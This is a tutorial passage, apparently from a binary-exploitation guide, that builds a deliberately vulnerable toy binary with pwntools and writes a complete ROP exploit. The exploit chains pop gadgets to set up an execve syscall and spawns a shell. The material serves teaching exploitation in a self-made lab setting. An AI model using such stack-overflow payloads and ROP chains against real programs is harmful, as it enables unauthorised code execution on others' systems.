Exploitation with Syscalls

The Source

To make it super simple, I made it in assembly using pwntools:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 300;
        syscall;
        ret;
        
        pop rax;
        ret;
        pop rdi;
        ret;
        pop rsi;
        ret;
        pop rdx;
        ret;
    '''
)
elf.save('vuln')

The binary contains all the gadgets you need! First it executes a read syscall, writes to the stack, then the ret occurs and you can gain control.

But what about the /bin/sh? I slightly cheesed this one and couldn't be bothered to add it to the assembly, so I just did:

echo -en "/bin/sh\x00" >> vuln

Exploitation

As we mentioned before, we need the following layout in the registers:

RAX:    0x3b
RDI:    pointer to /bin/sh
RSI:    0x0
RDX:    0x0

To get the address of the gadgets, I'll just do objdump -d vuln. The address of /bin/sh can be gotten using strings:

$ strings -t x vuln | grep bin
   1250 /bin/sh

The offset from the base to the string is 0x1250 (-t x tells strings to print the offset as hex). Armed with all this information, we can set up the constants:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

binsh = elf.address + 0x1250

POP_RAX = 0x10000018
POP_RDI = 0x1000001a
POP_RSI = 0x1000001c
POP_RDX = 0x1000001e
SYSCALL = 0x10000015

Now we just need to populate the registers. I'll tell you the padding is 8 to save time:

payload = flat(
    'A' * 8,
    POP_RAX,
    0x3b,
    POP_RDI,
    binsh,
    POP_RSI,
    0x0,
    POP_RDX,
    0X0,
    SYSCALL
)

p.sendline(payload)
p.interactive()

And wehey - we get a shell!

Last updated